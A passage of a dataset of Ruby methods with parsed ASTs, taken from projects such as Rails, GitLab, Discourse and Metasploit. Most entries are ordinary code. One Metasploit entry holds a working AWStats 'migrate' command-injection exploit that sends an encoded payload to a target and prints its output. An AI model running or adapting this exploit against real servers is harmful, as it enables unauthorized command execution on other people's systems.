end","complexity_score":17.2,"ast_json":"{\"type\":\"def\",\"children\":[\"version_by_ref\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ref\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoized?\",{\"type\":\"sym\",\"children\":[\"versions\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"v\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"versions\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"ref\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"ref\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]}]},null]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"commit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},\"dereferenced_target\"]}]},{\"type\":\"lvasgn\",\"children\":[\"semver\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Packages\"]},\"SemVer\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"prefixed\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Packages\"]},\"Go\"]},\"ModuleVersion\"]},\"new\",{\"type\":\"self\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"ref\"]},{\"type\":\"lvar\",\"children\":[\"commit\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ref\"]},{\"type\":\"lvar\",\"children\":[\"ref\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"semver\"]},{\"type\":\"lvar\",\"children\":[\"semver\"]}]}]}]}]}]}","id":"0ccc7e93-62ee-4a39-8044-e6dba1bc867e"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/naming/ascii_identifiers.rb","start_line":59,"raw_source":"def on_new_investigation\n processed_source.tokens.each do |token|\n next if !should_check?(token) || token.text.ascii_only?\n\n message = token.type == :tIDENTIFIER ? IDENTIFIER_MSG : CONSTANT_MSG\n add_offense(first_offense_range(token), message: message)\n end\n end","complexity_score":20.2,"ast_json":"{\"type\":\"def\",\"children\":[\"on_new_investigation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"processed_source\"]},\"tokens\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"token\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"should_check?\",{\"type\":\"lvar\",\"children\":[\"token\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"text\"]},\"ascii_only?\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"type\"]},\"==\",{\"type\":\"sym\",\"children\":[\"tIDENTIFIER\"]}]},{\"type\":\"const\",\"children\":[null,\"IDENTIFIER_MSG\"]},{\"type\":\"const\",\"children\":[null,\"CONSTANT_MSG\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"send\",\"children\":[null,\"first_offense_range\",{\"type\":\"lvar\",\"children\":[\"token\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}]}]}]}","id":"b601ab08-f545-458c-8d2d-9a0abf1d70ee"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/partitioning/partition_manager.rb","start_line":18,"raw_source":"def initialize(model, connection: nil)\n @model = model\n @connection = connection || model.connection\n @connection_name = @connection.pool.db_config.name\n end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model\"]},{\"type\":\"kwoptarg\",\"children\":[\"connection\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@model\",{\"type\":\"lvar\",\"children\":[\"model\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@connection\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"connection\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@connection_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"pool\"]},\"db_config\"]},\"name\"]}]}]}]}","id":"34e04df2-3b0e-492b-8187-22b823083041"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/test/notifications/instrumenter_test.rb","start_line":75,"raw_source":"def test_record_yields_the_payload_for_further_modification\n event = instrumenter.new_event(\"awesome\")\n event.record { |p| p[:result] = 1 + 1 }\n assert_equal 2, event.payload[:result]\n\n assert_equal \"awesome\", event.name\n assert_equal Hash[result: 2], event.payload\n assert_equal instrumenter.id, event.transaction_id\n assert_not_nil event.time\n assert_not_nil event.end\n end","complexity_score":27.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_record_yields_the_payload_for_further_modification\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"event\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instrumenter\"]},\"new_event\",{\"type\":\"str\",\"children\":[\"awesome\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"record\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"result\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"payload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"result\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"awesome\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"[]\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"result\"]},{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"payload\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instrumenter\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"transaction_id\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"time\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"end\"]}]}]}]}","id":"e24ddf9a-4c7f-48fd-8bea-45645fecb9ed"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/console/command_dispatcher/db.rb","start_line":2363,"raw_source":"def _format_vulns_and_vuln_attempts(vulns)\n vulns.map.with_index do |vuln, index|\n vuln_formatted = <<~EOF.strip.indent(2)\n #{index}. Vuln ID: #{vuln.id}\n Timestamp: #{vuln.created_at}\n Host: #{vuln.host.address}\n Name: #{vuln.name}\n References: #{vuln.refs.map {|r| r.name}.join(',')}\n Information: #{_format_vuln_value(vuln.info)}\n EOF\n\n vuln_attempts_formatted = vuln.vuln_attempts.map.with_index do |vuln_attempt, i|\n <<~EOF.strip.indent(5)\n #{i}. ID: #{vuln_attempt.id}\n Vuln ID: #{vuln_attempt.vuln_id}\n Timestamp: #{vuln_attempt.attempted_at}\n Exploit: #{vuln_attempt.exploited}\n Fail reason: #{_format_vuln_value(vuln_attempt.fail_reason)}\n Username: #{vuln_attempt.username}\n Module: #{vuln_attempt.module}\n Session ID: #{_format_vuln_value(vuln_attempt.session_id)}\n Loot ID: #{_format_vuln_value(vuln_attempt.loot_id)}\n Fail Detail: #{_format_vuln_value(vuln_attempt.fail_detail)}\n EOF\n end\n\n { :vuln => vuln_formatted, :vuln_attempts => vuln_attempts_formatted }\n end\n end","complexity_score":62.43,"ast_json":"{\"type\":\"def\",\"children\":[\"_format_vulns_and_vuln_attempts\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"vulns\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vulns\"]},\"map\"]},\"with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"vuln\"]},{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"vuln_formatted\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]}]},{\"type\":\"str\",\"children\":[\". Vuln ID: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" Timestamp: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln\"]},\"created_at\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" Host: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln\"]},\"host\"]},\"address\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" Name: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" References: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln\"]},\"refs\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"name\"]}]},\"join\",{\"type\":\"str\",\"children\":[\",\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" Information: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_format_vuln_value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln\"]},\"info\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]},\"strip\"]},\"indent\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"lvasgn\",\"children\":[\"vuln_attempts_formatted\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln\"]},\"vuln_attempts\"]},\"map\"]},\"with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"vuln_attempt\"]},{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]}]},{\"type\":\"str\",\"children\":[\". ID: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln_attempt\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" Vuln ID: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln_attempt\"]},\"vuln_id\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" Timestamp: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln_attempt\"]},\"attempted_at\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" Exploit: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln_attempt\"]},\"exploited\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" Fail reason: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_format_vuln_value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln_attempt\"]},\"fail_reason\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" Username: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln_attempt\"]},\"username\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" Module: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln_attempt\"]},\"module\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" Session ID: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_format_vuln_value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln_attempt\"]},\"session_id\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" Loot ID: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_format_vuln_value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln_attempt\"]},\"loot_id\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" Fail Detail: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_format_vuln_value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln_attempt\"]},\"fail_detail\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]},\"strip\"]},\"indent\",{\"type\":\"int\",\"children\":[5]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"vuln\"]},{\"type\":\"lvar\",\"children\":[\"vuln_formatted\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"vuln_attempts\"]},{\"type\":\"lvar\",\"children\":[\"vuln_attempts_formatted\"]}]}]}]}]}]}","id":"3dafa3a0-f460-4b90-b1a0-2dce1f11e654"} {"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20121122033316_add_muted_at_to_topic_user.rb","start_line":4,"raw_source":"def change\n add_column :topic_users, :muted_at, :datetime\n change_column :topic_users, :last_read_post_number, :integer, null: true\n change_column_default :topic_users, :last_read_post_number, nil\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"topic_users\"]},{\"type\":\"sym\",\"children\":[\"muted_at\"]},{\"type\":\"sym\",\"children\":[\"datetime\"]}]},{\"type\":\"send\",\"children\":[null,\"change_column\",{\"type\":\"sym\",\"children\":[\"topic_users\"]},{\"type\":\"sym\",\"children\":[\"last_read_post_number\"]},{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"change_column_default\",{\"type\":\"sym\",\"children\":[\"topic_users\"]},{\"type\":\"sym\",\"children\":[\"last_read_post_number\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"d2cfb301-bddb-4dab-a04b-04ab34a243e3"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/manageiq/providers/ems_refresh_workflow.rb","start_line":25,"raw_source":"def poll_native_task\n raise NotImplementedError, _(\"poll_native_task must be implemented by a subclass\")\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"poll_native_task\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"NotImplementedError\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"poll_native_task must be implemented by a subclass\"]}]}]}]}","id":"9b084f4b-8ee3-4f98-be3a-ed78a1549f24"} {"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/lib/doorkeeper/rails/helpers.rb","start_line":68,"raw_source":"def doorkeeper_invalid_token_response?\n !doorkeeper_token || !doorkeeper_token.accessible?\n end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"doorkeeper_invalid_token_response?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"doorkeeper_token\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"doorkeeper_token\"]},\"accessible?\"]},\"!\"]}]}]}","id":"59cccd6f-be3f-4d3c-8c5c-5507f684c90e"} {"repo_name":"rails","file_path":"./repos/rails/actioncable/test/channel/rejection_test.rb","start_line":10,"raw_source":"def subscribed\n reject if params[:id] > 0\n end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"subscribed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"reject\"]},null]}]}","id":"ba5ea39f-d30b-4c0a-91d3-06592643c306"} {"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/scm/adapters/base.rb","start_line":83,"raw_source":"def entry(path = nil, identifier = nil)\n parts = split_path(path)\n search_entries(parts, identifier)\n end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"entry\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"path\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"identifier\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parts\",{\"type\":\"send\",\"children\":[null,\"split_path\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"send\",\"children\":[null,\"search_entries\",{\"type\":\"lvar\",\"children\":[\"parts\"]},{\"type\":\"lvar\",\"children\":[\"identifier\"]}]}]}]}","id":"55701a64-4ad6-4317-a8e9-bb40e74ff6ea"} {"repo_name":"forem","file_path":"./repos/forem/app/models/article.rb","start_line":120,"raw_source":"def self.unique_url_error\n I18n.t(\"models.article.unique_url\", email: ForemInstance.contact_email)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"unique_url_error\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"models.article.unique_url\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ForemInstance\"]},\"contact_email\"]}]}]}]}]}","id":"f1678897-bdb9-4f80-b87f-f4030d50e42e"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/awstats_migrate_exec.rb","start_line":79,"raw_source":"def exploit\n command = Rex::Text.uri_encode(\"cd /tmp &&\" + payload.encoded)\n sploit = normalize_uri(datastore['URI']) + \"?migrate=|echo;echo%20YYY;#{command};echo%20YYY;echo|awstats#{Rex::Text.rand_text_numeric(6)}.#{datastore['AWSITE']}.txt\"\n\n res = send_request_raw({\n 'uri' => sploit,\n 'method' => 'GET',\n 'headers' =>\n {\n 'Connection' => 'Close',\n }\n }, 25)\n\n if (res)\n print_status(\"The server returned: #{res.code} #{res.message}\")\n\n m = res.body.match(/YYY\\n(.*)\\nYYY/m)\n\n if (m)\n print_status(\"Command output from the server:\")\n print(\"\\n\" + m[1] + \"\\n\\n\")\n else\n print_status(\"This server may not be vulnerable\")\n end\n else\n print_status(\"No response from the server\")\n end\n end","complexity_score":40.0,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"command\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"uri_encode\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"cd /tmp &&\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sploit\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"URI\"]}]}]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"?migrate=|echo;echo%20YYY;\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]}]},{\"type\":\"str\",\"children\":[\";echo%20YYY;echo|awstats\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_numeric\",{\"type\":\"int\",\"children\":[6]}]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"AWSITE\"]}]}]},{\"type\":\"str\",\"children\":[\".txt\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_raw\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"sploit\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Connection\"]},{\"type\":\"str\",\"children\":[\"Close\"]}]}]}]}]},{\"type\":\"int\",\"children\":[25]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The server returned: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"message\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"m\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"YYY\\\\n(.*)\\\\nYYY\"]},{\"type\":\"regopt\",\"children\":[\"m\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Command output from the server:\"]}]},{\"type\":\"send\",\"children\":[null,\"print\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\n\\n\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"This server may not be vulnerable\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"No response from the server\"]}]}]}]}]}","id":"a113c57c-7f76-4aaa-8918-056b36ceb948"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/ember_cli.rb","start_line":53,"raw_source":"def self.clear_cache!\n self.request_cache = nil\n @production_cache = nil\n end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"clear_cache!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"request_cache=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@production_cache\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"ab633555-6e6d-4c3f-aac4-bb432d358ad9"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/github_import/markdown/attachment.rb","start_line":126,"raw_source":"def user_attachment?\n url.start_with?(\"#{web_endpoint}/user-attachments/\")\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"user_attachment?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"url\"]},\"start_with?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"web_endpoint\"]}]},{\"type\":\"str\",\"children\":[\"/user-attachments/\"]}]}]}]}","id":"fb262d1e-8311-4769-a969-04595677af18"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/listeners/webhook_listener.rb","start_line":118,"raw_source":"def deliver_api_inbox_webhooks(payload, inbox)\n return unless inbox.channel_type == 'Channel::Api'\n return if inbox.channel.webhook_url.blank?\n\n WebhookJob.perform_later(inbox.channel.webhook_url, payload, :api_inbox_webhook)\n 